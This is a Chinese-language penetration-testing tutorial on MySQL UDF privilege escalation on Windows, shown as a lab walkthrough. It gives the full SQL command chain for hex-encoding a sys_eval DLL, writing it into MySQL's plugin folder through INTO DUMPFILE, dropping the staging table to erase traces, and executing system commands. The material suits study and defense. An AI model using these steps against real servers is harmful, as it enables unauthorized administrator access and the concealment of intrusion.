Sql注入-Windows下利用udf提权
利用udf进行提权(windows篇)
本文记录利用udf在windows平台下进行提权时的整个过程,以及过程中遇到的问题以及细节。
一、什么是udf
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写,编写参考链接:点此
二、udf在渗透中的作用
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。
三、利用条件
利用udf的条件其实还是挺苛刻的
1. mysql用户权限问题
获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
拥有将udf.dll写入相应目录的权限。
2. 数据库版本问题
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
版本 | 路径 |
---|---|
MySQL < 5.0 | 导出路径随意; |
5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/) |
5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
四、利用过程
环境:
目标系统:windows 10
mysql版本:5.5.53
1、查看版本
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
2、获取Mysql安装路径
mysql> select @@basedir;
+--------------------------------+
| @@basedir |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)
3、查看用户权限
mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
Host: 127.0.0.1
User: root
Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Select_priv: Y
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
Create_priv: Y
Drop_priv: Y
Reload_priv: Y
Shutdown_priv: Y
Process_priv: Y
File_priv: Y
Grant_priv: Y
References_priv: Y
Index_priv: Y
Alter_priv: Y
Show_db_priv: Y
Super_priv: Y
Create_tmp_table_priv: Y
Lock_tables_priv: Y
Execute_priv: Y
Repl_slave_priv: Y
Repl_client_priv: Y
Create_view_priv: Y
Show_view_priv: Y
Create_routine_priv: Y
Alter_routine_priv: Y
Create_user_priv: Y
Event_priv: Y
Trigger_priv: Y
Create_tablespace_priv: Y
ssl_type:
ssl_cipher:
x509_issuer:
x509_subject:
max_questions: 0
max_updates: 0
max_connections: 0
max_user_connections: 0
plugin:
authentication_string:
1 row in set (0.01 sec)
可见root用户拥有以下关键权限,并且可读写文件。
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
File_priv: Y
4、查看可操作路径
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只有通过别的方法将udf.dll写入安装路径。
5、上传DLL并利用
创建plugin目录
这里使用ntfs数据流创建,但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。
mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)
为后续测试,手动创建plugin目录
将dll上传到安装路径的方式:
通过webshell上传
以hex方式直接上传
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。获取sqlmap的udf请看链接:MySQL 利用UDF执行命令
将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:
先将本地dll路径例如C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll转换为433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c
然后本地mysql执行
SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
load_file中的十六进制是C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll
此时udf.txt文件的内容就是udf文件的16进制形式。
接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。
1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:
DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
导入成功的话就可以使用了:
SELECT sys_eval('ipconfig');
返回网卡信息